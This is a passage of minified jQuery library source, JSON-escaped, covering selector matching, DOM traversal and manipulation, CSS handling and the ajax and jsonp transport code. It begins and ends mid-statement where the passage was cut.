v=function(a,b){var c,d=[],e=\"\",f=b.nodeType?[b]:b;while(c=l.match.PSEUDO.exec(a))e+=c[0],a=a.replace(l.match.PSEUDO,\"\");a=l.relative[a]?a+\"*\":a;for(var g=0,h=f.length;g\u003ch;g++)k(a,f[g],d);return k.filter(e,d)};f.find=k,f.expr=k.selectors,f.expr[\":\"]=f.expr.filters,f.unique=k.uniqueSort,f.text=k.getText,f.isXMLDoc=k.isXML,f.contains=k.contains}();var N=/Until$/,O=/^(?:parents|prevUntil|prevAll)/,P=/,/,Q=/^.[^:#\\[\\.,]*$/,R=Array.prototype.slice,S=f.expr.match.POS,T={children:!0,contents:!0,next:!0,prev:!0};f.fn.extend({find:function(a){var b=this,c,d;if(typeof a!=\"string\")return f(a).filter(function(){for(c=0,d=b.length;c\u003cd;c++)if(f.contains(b[c],this))return!0});var e=this.pushStack(\"\",\"find\",a),g,h,i;for(c=0,d=this.length;c\u003cd;c++){g=e.length,f.find(a,this[c],e);if(c\u003e0)for(h=g;h\u003ce.length;h++)for(i=0;i\u003cg;i++)if(e[i]===e[h]){e.splice(h--,1);break}}return e},has:function(a){var b=f(a);return this.filter(function(){for(var a=0,c=b.length;a\u003cc;a++)if(f.contains(this,b[a]))return!0})},not:function(a){return this.pushStack(V(this,a,!1),\"not\",a)},filter:function(a){return this.pushStack(V(this,a,!0),\"filter\",a)},is:function(a){return!!a\u0026\u0026(typeof a==\"string\"?f.filter(a,this).length\u003e0:this.filter(a).length\u003e0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h,i,j={},k=1;if(g\u0026\u0026a.length){for(d=0,e=a.length;d\u003ce;d++)i=a[d],j[i]||(j[i]=S.test(i)?f(i,b||this.context):i);while(g\u0026\u0026g.ownerDocument\u0026\u0026g!==b){for(i in j)h=j[i],(h.jquery?h.index(g)\u003e-1:f(g).is(h))\u0026\u0026c.push({selector:i,elem:g,level:k});g=g.parentNode,k++}}return c}var l=S.test(a)||typeof a!=\"string\"?f(a,b||this.context):0;for(d=0,e=this.length;d\u003ce;d++){g=this[d];while(g){if(l?l.index(g)\u003e-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length\u003e1?f.unique(c):c;return this.pushStack(c,\"closest\",a)},index:function(a){if(!a)return this[0]\u0026\u0026this[0].parentNode?this.prevAll().length:-1;if(typeof a==\"string\")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a==\"string\"?f(a,b):f.makeArray(a\u0026\u0026a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(U(c[0])||U(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b\u0026\u0026b.nodeType!==11?b:null},parents:function(a){return f.dir(a,\"parentNode\")},parentsUntil:function(a,b,c){return f.dir(a,\"parentNode\",c)},next:function(a){return f.nth(a,2,\"nextSibling\")},prev:function(a){return f.nth(a,2,\"previousSibling\")},nextAll:function(a){return f.dir(a,\"nextSibling\")},prevAll:function(a){return f.dir(a,\"previousSibling\")},nextUntil:function(a,b,c){return f.dir(a,\"nextSibling\",c)},prevUntil:function(a,b,c){return f.dir(a,\"previousSibling\",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,\"iframe\")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c),g=R.call(arguments);N.test(a)||(d=c),d\u0026\u0026typeof d==\"string\"\u0026\u0026(e=f.filter(d,e)),e=this.length\u003e1\u0026\u0026!T[a]?f.unique(e):e,(this.length\u003e1||P.test(d))\u0026\u0026O.test(a)\u0026\u0026(e=e.reverse());return this.pushStack(e,a,g.join(\",\"))}}),f.extend({filter:function(a,b,c){c\u0026\u0026(a=\":not(\"+a+\")\");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g\u0026\u0026g.nodeType!==9\u0026\u0026(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1\u0026\u0026e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1\u0026\u0026++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1\u0026\u0026a!==b\u0026\u0026c.push(a);return c}});var W=/ jQuery\\d+=\"(?:\\d+|null)\"/g,X=/^\\s+/,Y=/\u003c(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^\u003e]*)\\/\u003e/ig,Z=/\u003c([\\w:]+)/,$=/\u003ctbody/i,_=/\u003c|\u0026#?\\w+;/,ba=/\u003c(?:script|object|embed|option|style)/i,bb=/checked\\s*(?:[^=]|=\\s*.checked.)/i,bc=/\\/(java|ecma)script/i,bd=/^\\s*\u003c!(?:\\[CDATA\\[|\\-\\-)/,be={option:[1,\"\u003cselect multiple='multiple'\u003e\",\"\u003c/select\u003e\"],legend:[1,\"\u003cfieldset\u003e\",\"\u003c/fieldset\u003e\"],thead:[1,\"\u003ctable\u003e\",\"\u003c/table\u003e\"],tr:[2,\"\u003ctable\u003e\u003ctbody\u003e\",\"\u003c/tbody\u003e\u003c/table\u003e\"],td:[3,\"\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\",\"\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\"],col:[2,\"\u003ctable\u003e\u003ctbody\u003e\u003c/tbody\u003e\u003ccolgroup\u003e\",\"\u003c/colgroup\u003e\u003c/table\u003e\"],area:[1,\"\u003cmap\u003e\",\"\u003c/map\u003e\"],_default:[0,\"\",\"\"]};be.optgroup=be.option,be.tbody=be.tfoot=be.colgroup=be.caption=be.thead,be.th=be.td,f.support.htmlSerialize||(be._default=[1,\"div\u003cdiv\u003e\",\"\u003c/div\u003e\"]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!=\"object\"\u0026\u0026a!==b)return this.empty().append((this[0]\u0026\u0026this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode\u0026\u0026b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild\u0026\u0026a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){f(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,\"body\")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1\u0026\u0026this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1\u0026\u0026this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]\u0026\u0026this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,\"before\",arguments)}},after:function(){if(this[0]\u0026\u0026this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,\"after\",arguments);a.push.apply(a,f(arguments[0]).toArray());return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b\u0026\u0026d.nodeType===1\u0026\u0026(f.cleanData(d.getElementsByTagName(\"*\")),f.cleanData([d])),d.parentNode\u0026\u0026d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1\u0026\u0026f.cleanData(b.getElementsByTagName(\"*\"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]\u0026\u0026this[0].nodeType===1?this[0].innerHTML.replace(W,\"\"):null;if(typeof a==\"string\"\u0026\u0026!ba.test(a)\u0026\u0026(f.support.leadingWhitespace||!X.test(a))\u0026\u0026!be[(Z.exec(a)||[\"\",\"\"])[1].toLowerCase()]){a=a.replace(Y,\"\u003c$1\u003e\u003c/$2\u003e\");try{for(var c=0,d=this.length;c\u003cd;c++)this[c].nodeType===1\u0026\u0026(f.cleanData(this[c].getElementsByTagName(\"*\")),this[c].innerHTML=a)}catch(e){this.empty().append(a)}}else f.isFunction(a)?this.each(function(b){var c=f(this);c.html(a.call(this,b,c.html()))}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]\u0026\u0026this[0].parentNode){if(f.isFunction(a))return this.each(function(b){var c=f(this),d=c.html();c.replaceWith(a.call(this,b,d))});typeof a!=\"string\"\u0026\u0026(a=f(a).detach());return this.each(function(){var b=this.nextSibling,c=this.parentNode;f(this).remove(),b?f(b).before(a):f(c).append(a)})}return this.length?this.pushStack(f(f.isFunction(a)?a():a),\"replaceWith\",a):this},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){var e,g,h,i,j=a[0],k=[];if(!f.support.checkClone\u0026\u0026arguments.length===3\u0026\u0026typeof j==\"string\"\u0026\u0026bb.test(j))return this.each(function(){f(this).domManip(a,c,d,!0)});if(f.isFunction(j))return this.each(function(e){var g=f(this);a[0]=j.call(this,e,c?g.html():b),g.domManip(a,c,d)});if(this[0]){i=j\u0026\u0026j.parentNode,f.support.parentNode\u0026\u0026i\u0026\u0026i.nodeType===11\u0026\u0026i.childNodes.length===this.length?e={fragment:i}:e=f.buildFragment(a,this,k),h=e.fragment,h.childNodes.length===1?g=h=h.firstChild:g=h.firstChild;if(g){c=c\u0026\u0026f.nodeName(g,\"tr\");for(var l=0,m=this.length,n=m-1;l\u003cm;l++)d.call(c?bf(this[l],g):this[l],e.cacheable||m\u003e1\u0026\u0026l\u003cn?f.clone(h,!0,!0):h)}k.length\u0026\u0026f.each(k,bl)}return this}}),f.buildFragment=function(a,b,d){var e,g,h,i;b\u0026\u0026b[0]\u0026\u0026(i=b[0].ownerDocument||b[0]),i.createDocumentFragment||(i=c),a.length===1\u0026\u0026typeof a[0]==\"string\"\u0026\u0026a[0].length\u003c512\u0026\u0026i===c\u0026\u0026a[0].charAt(0)===\"\u003c\"\u0026\u0026!ba.test(a[0])\u0026\u0026(f.support.checkClone||!bb.test(a[0]))\u0026\u0026(g=!0,h=f.fragments[a[0]],h\u0026\u0026h!==1\u0026\u0026(e=h)),e||(e=i.createDocumentFragment(),f.clean\n(a,i,e,d)),g\u0026\u0026(f.fragments[a[0]]=h?e:1);return{fragment:e,cacheable:g}},f.fragments={},f.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(a,b){f.fn[a]=function(c){var d=[],e=f(c),g=this.length===1\u0026\u0026this[0].parentNode;if(g\u0026\u0026g.nodeType===11\u0026\u0026g.childNodes.length===1\u0026\u0026e.length===1){e[b](this[0]);return this}for(var h=0,i=e.length;h\u003ci;h++){var j=(h\u003e0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d=a.cloneNode(!0),e,g,h;if((!f.support.noCloneEvent||!f.support.noCloneChecked)\u0026\u0026(a.nodeType===1||a.nodeType===11)\u0026\u0026!f.isXMLDoc(a)){bh(a,d),e=bi(a),g=bi(d);for(h=0;e[h];++h)g[h]\u0026\u0026bh(e[h],g[h])}if(b){bg(a,d);if(c){e=bi(a),g=bi(d);for(h=0;e[h];++h)bg(e[h],g[h])}}e=g=null;return d},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement==\"undefined\"\u0026\u0026(b=b.ownerDocument||b[0]\u0026\u0026b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k==\"number\"\u0026\u0026(k+=\"\");if(!k)continue;if(typeof k==\"string\")if(!_.test(k))k=b.createTextNode(k);else{k=k.replace(Y,\"\u003c$1\u003e\u003c/$2\u003e\");var l=(Z.exec(k)||[\"\",\"\"])[1].toLowerCase(),m=be[l]||be._default,n=m[0],o=b.createElement(\"div\");o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var p=$.test(k),q=l===\"table\"\u0026\u0026!p?o.firstChild\u0026\u0026o.firstChild.childNodes:m[1]===\"\u003ctable\u003e\"\u0026\u0026!p?o.childNodes:[];for(i=q.length-1;i\u003e=0;--i)f.nodeName(q[i],\"tbody\")\u0026\u0026!q[i].childNodes.length\u0026\u0026q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace\u0026\u0026X.test(k)\u0026\u0026o.insertBefore(b.createTextNode(X.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]\u0026\u0026typeof (r=k.length)==\"number\")for(i=0;i\u003cr;i++)bk(k[i]);else bk(k);k.nodeType?h.push(k):h=f.merge(h,k)}if(d){g=function(a){return!a.type||bc.test(a.type)};for(j=0;h[j];j++)if(e\u0026\u0026f.nodeName(h[j],\"script\")\u0026\u0026(!h[j].type||h[j].type.toLowerCase()===\"text/javascript\"))e.push(h[j].parentNode?h[j].parentNode.removeChild(h[j]):h[j]);else{if(h[j].nodeType===1){var s=f.grep(h[j].getElementsByTagName(\"script\"),g);h.splice.apply(h,[j+1,0].concat(s))}d.appendChild(h[j])}}return h},cleanData:function(a){var b,c,d=f.cache,e=f.expando,g=f.event.special,h=f.support.deleteExpando;for(var i=0,j;(j=a[i])!=null;i++){if(j.nodeName\u0026\u0026f.noData[j.nodeName.toLowerCase()])continue;c=j[f.expando];if(c){b=d[c]\u0026\u0026d[c][e];if(b\u0026\u0026b.events){for(var k in b.events)g[k]?f.event.remove(j,k):f.removeEvent(j,k,b.handle);b.handle\u0026\u0026(b.handle.elem=null)}h?delete j[f.expando]:j.removeAttribute\u0026\u0026j.removeAttribute(f.expando),delete d[c]}}}});var bm=/alpha\\([^)]*\\)/i,bn=/opacity=([^)]*)/,bo=/([A-Z]|^ms)/g,bp=/^-?\\d+(?:px)?$/i,bq=/^-?\\d/,br=/^([\\-+])=([\\-+.\\de]+)/,bs={position:\"absolute\",visibility:\"hidden\",display:\"block\"},bt=[\"Left\",\"Right\"],bu=[\"Top\",\"Bottom\"],bv,bw,bx;f.fn.css=function(a,c){if(arguments.length===2\u0026\u0026c===b)return this;return f.access(this,a,c,!0,function(a,c,d){return d!==b?f.style(a,c,d):f.css(a,c)})},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=bv(a,\"opacity\",\"opacity\");return c===\"\"?\"1\":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{\"float\":f.support.cssFloat?\"cssFloat\":\"styleFloat\"},style:function(a,c,d,e){if(!!a\u0026\u0026a.nodeType!==3\u0026\u0026a.nodeType!==8\u0026\u0026!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k\u0026\u0026\"get\"in k\u0026\u0026(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h===\"string\"\u0026\u0026(g=br.exec(d))\u0026\u0026(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h=\"number\");if(d==null||h===\"number\"\u0026\u0026isNaN(d))return;h===\"number\"\u0026\u0026!f.cssNumber[i]\u0026\u0026(d+=\"px\");if(!k||!(\"set\"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c===\"cssFloat\"\u0026\u0026(c=\"float\");if(g\u0026\u0026\"get\"in g\u0026\u0026(e=g.get(a,!0,d))!==b)return e;if(bv)return bv(a,c)},swap:function(a,b,c){var d={};for(var e in b)d[e]=a.style[e],a.style[e]=b[e];c.call(a);for(e in b)a.style[e]=d[e]}}),f.curCSS=f.css,f.each([\"height\",\"width\"],function(a,b){f.cssHooks[b]={get:function(a,c,d){var e;if(c){if(a.offsetWidth!==0)return by(a,b,d);f.swap(a,bs,function(){e=by(a,b,d)});return e}},set:function(a,b){if(!bp.test(b))return b;b=parseFloat(b);if(b\u003e=0)return b+\"px\"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return bn.test((b\u0026\u0026a.currentStyle?a.currentStyle.filter:a.style.filter)||\"\")?parseFloat(RegExp.$1)/100+\"\":b?\"1\":\"\"},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNaN(b)?\"\":\"alpha(opacity=\"+b*100+\")\",g=d\u0026\u0026d.filter||c.filter||\"\";c.zoom=1;if(b\u003e=1\u0026\u0026f.trim(g.replace(bm,\"\"))===\"\"){c.removeAttribute(\"filter\");if(d\u0026\u0026!d.filter)return}c.filter=bm.test(g)?g.replace(bm,e):g+\" \"+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:\"inline-block\"},function(){b?c=bv(a,\"margin-right\",\"marginRight\"):c=a.style.marginRight});return c}})}),c.defaultView\u0026\u0026c.defaultView.getComputedStyle\u0026\u0026(bw=function(a,c){var d,e,g;c=c.replace(bo,\"-$1\").toLowerCase();if(!(e=a.ownerDocument.defaultView))return b;if(g=e.getComputedStyle(a,null))d=g.getPropertyValue(c),d===\"\"\u0026\u0026!f.contains(a.ownerDocument.documentElement,a)\u0026\u0026(d=f.style(a,c));return d}),c.documentElement.currentStyle\u0026\u0026(bx=function(a,b){var c,d=a.currentStyle\u0026\u0026a.currentStyle[b],e=a.runtimeStyle\u0026\u0026a.runtimeStyle[b],f=a.style;!bp.test(d)\u0026\u0026bq.test(d)\u0026\u0026(c=f.left,e\u0026\u0026(a.runtimeStyle.left=a.currentStyle.left),f.left=b===\"fontSize\"?\"1em\":d||0,d=f.pixelLeft+\"px\",f.left=c,e\u0026\u0026(a.runtimeStyle.left=e));return d===\"\"?\"auto\":d}),bv=bw||bx,f.expr\u0026\u0026f.expr.filters\u0026\u0026(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0\u0026\u0026c===0||!f.support.reliableHiddenOffsets\u0026\u0026(a.style.display||f.css(a,\"display\"))===\"none\"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bz=/%20/g,bA=/\\[\\]$/,bB=/\\r?\\n/g,bC=/#.*$/,bD=/^(.*?):[ \\t]*([^\\r\\n]*)\\r?$/mg,bE=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bF=/^(?:about|app|app\\-storage|.+\\-extension|file|res|widget):$/,bG=/^(?:GET|HEAD)$/,bH=/^\\/\\//,bI=/\\?/,bJ=/\u003cscript\\b[^\u003c]*(?:(?!\u003c\\/script\u003e)\u003c[^\u003c]*)*\u003c\\/script\u003e/gi,bK=/^(?:select|textarea)/i,bL=/\\s+/,bM=/([?\u0026])_=[^\u0026]*/,bN=/^([\\w\\+\\.\\-]+:)(?:\\/\\/([^\\/?#:]*)(?::(\\d+))?)?/,bO=f.fn.load,bP={},bQ={},bR,bS,bT=[\"*/\"]+[\"*\"];try{bR=e.href}catch(bU){bR=c.createElement(\"a\"),bR.href=\"\",bR=bR.href}bS=bN.exec(bR.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!=\"string\"\u0026\u0026bO)return bO.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(\" \");if(e\u003e=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h=\"GET\";c\u0026\u0026(f.isFunction(c)?(d=c,c=b):typeof c==\"object\"\u0026\u0026(c=f.param(c,f.ajaxSettings.traditional),h=\"POST\"));var i=this;f.ajax({url:a,type:h,dataType:\"html\",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()\u0026\u0026(a.done(function(a){c=a}),i.html(g?f(\"\u003cdiv\u003e\").append(c.replace(bJ,\"\")).find(g):c)),d\u0026\u0026i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name\u0026\u0026!this.disabled\u0026\u0026(this.checked||bK.test(this.nodeName)||bE.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bB,\"\\r\\n\")}}):{name:b.name,value:c.replace(bB,\"\\r\\n\")}}).get()}}),f.each(\"ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend\".split(\" \"),function(a,b){f.fn[b]=function(a){return this.bind(b,a)}}),f.each([\"get\",\"post\"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)\u0026\u0026(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,\"script\")},getJSON:function(a,b,c){return f.get(a,b,c,\"json\")},ajaxSetup:function(a,b){b?bX(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),bX(a,b);return a},ajaxSettings:{url:bR,isLocal:bF.test(bS[1]),global:!0,type:\"GET\",contentType:\"application/x-www-form-urlencoded\",processData:!0,async:!0,accepts:{xml:\"application/xml, text/xml\",html:\"text/html\",text:\"text/plain\",json:\"application/json, text/javascript\",\"*\":bT},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:\"responseXML\",text:\"responseText\"},converters:{\"* text\":a.String,\"text html\":!0,\"text json\":f.parseJSON,\"text xml\":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bV(bP),ajaxTransport:bV(bQ),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q\u0026\u0026clearTimeout(q),p=b,n=m||\"\",v.readyState=a\u003e0?4:0;var o,r,u,w=c,x=l?bZ(d,v,l):b,y,z;if(a\u003e=200\u0026\u0026a\u003c300||a===304){if(d.ifModified){if(y=v.getResponseHeader(\"Last-Modified\"))f.lastModified[k]=y;if(z=v.getResponseHeader(\"Etag\"))f.etag[k]=z}if(a===304)w=\"notmodified\",o=!0;else try{r=b$(d,x),w=\"success\",o=!0}catch(A){w=\"parsererror\",u=A}}else{u=w;if(!w||a)w=\"error\",a\u003c0\u0026\u0026(a=0)}v.status=a,v.statusText=\"\"+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t\u0026\u0026g.trigger(\"ajax\"+(o?\"Success\":\"Error\"),[v,d,o?r:u]),i.resolveWith(e,[v,w]),t\u0026\u0026(g.trigger(\"ajaxComplete\",[v,d]),--f.active||f.event.trigger(\"ajaxStop\"))}}typeof a==\"object\"\u0026\u0026(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d\u0026\u0026(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f._Deferred(),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bD.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||\"abort\",p\u0026\u0026p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.done,v.statusCode=function(a){if(a){var b;if(s\u003c2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+\"\").replace(bC,\"\").replace(bH,bS[1]+\"//\"),d.dataTypes=f.trim(d.dataType||\"*\").toLowerCase().split(bL),d.crossDomain==null\u0026\u0026(r=bN.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bS[1]\u0026\u0026r[2]==bS[2]\u0026\u0026(r[3]||(r[1]===\"http:\"?80:443))==(bS[3]||(bS[1]===\"http:\"?80:443)))),d.data\u0026\u0026d.processData\u0026\u0026typeof d.data!=\"string\"\u0026\u0026(d.data=f.param(d.data,d.traditional)),bW(bP,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bG.test(d.type),t\u0026\u0026f.active++===0\u0026\u0026f.event.trigger(\"ajaxStart\");if(!d.hasContent){d.data\u0026\u0026(d.url+=(bI.test(d.url)?\"\u0026\":\"?\")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bM,\"$1_=\"+x);d.url=y+(y===d.url?(bI.test(d.url)?\"\u0026\":\"?\")+\"_=\"+x:\"\")}}(d.data\u0026\u0026d.hasContent\u0026\u0026d.contentType!==!1||c.contentType)\u0026\u0026v.setRequestHeader(\"Content-Type\",d.contentType),d.ifModified\u0026\u0026(k=k||d.url,f.lastModified[k]\u0026\u0026v.setRequestHeader(\"If-Modified-Since\",f.lastModified[k]),f.etag[k]\u0026\u0026v.setRequestHeader(\"If-None-Match\",f.etag[k])),v.setRequestHeader(\"Accept\",d.dataTypes[0]\u0026\u0026d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!==\"*\"?\", \"+bT+\"; q=0.01\":\"\"):d.accepts[\"*\"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend\u0026\u0026(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=bW(bQ,d,c,v);if(!p)w(-1,\"No Transport\");else{v.readyState=1,t\u0026\u0026g.trigger(\"ajaxSend\",[v,d]),d.async\u0026\u0026d.timeout\u003e0\u0026\u0026(q=setTimeout(function(){v.abort(\"timeout\")},d.timeout));try{s=1,p.send(l,w)}catch(z){s\u003c2?w(-1,z):f.error(z)}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+\"=\"+encodeURIComponent(b)};c===b\u0026\u0026(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery\u0026\u0026!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)bY(g,a[g],c,e);return d.join(\"\u0026\").replace(bz,\"+\")}}),f.extend({active:0,lastModified:{},etag:{}});var b_=f.now(),ca=/(\\=)\\?(\u0026|$)|\\?\\?/i;f.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){return f.expando+\"_\"+b_++}}),f.ajaxPrefilter(\"json jsonp\",function(b,c,d){var e=b.contentType===\"application/x-www-form-urlencoded\"\u0026\u0026typeof b.data==\"string\";if(b.dataTypes[0]===\"jsonp\"||b.jsonp!==!1\u0026\u0026(ca.test(b.url)||e\u0026\u0026ca.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l=\"$1\"+h+\"$2\";b.jsonp!==!1\u0026\u0026(j=j.replace(ca,l),b.url===j\u0026\u0026(e\u0026\u0026(k=k.replace(ca,l)),b.data===k\u0026\u0026(j+=(/\\?/.test(j)?\"\u0026\":\"?\")+b.jsonp+\"=\"+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g\u0026\u0026f.isFunction(i)\u0026\u0026a[h](g[0])}),b.converters[\"script json\"]=function(){g||f.error(h+\" was not called\");return g[0]},b.dataTypes[0]=\"json\";return\"script\"}}),f.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/javascript|ecmascript/},converters:{\"text script\":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter(\"script\",function(a){a.cache===b\u0026\u0026(a.cache=!1),a.crossDomain\u0026\u0026(a.type=\"GET\",a.global=!1)}),f.ajaxTransport(\"script\",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName(\"head\")[0]||c.documentElement;return{send:function(f,g){d=c.createElement(\"script\"),d.async=\"async\",a.scriptCharset\u0026\u0026(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e\u0026\u0026d.parentNode\u0026\u0026e.removeChild(d),d=b,c||g(200,\"success\")},e.insertBefore(d,e.firstChild)},abort:function(){d\u0026\u0026d.onload(0,1)}}}});var cb=a.ActiveXObject?function(){for(var a in cd)cd[a](0,1)}:!1,cc=0,cd;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal\u0026\u0026ce()||cf()}:ce,function(a){f.extend(f.support,{ajax:!!a,cors:!!a\u0026\u0026\"withCredentials\"in a})}(f.ajaxSettings.xhr()),f.support.ajax\u0026\u0026f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in 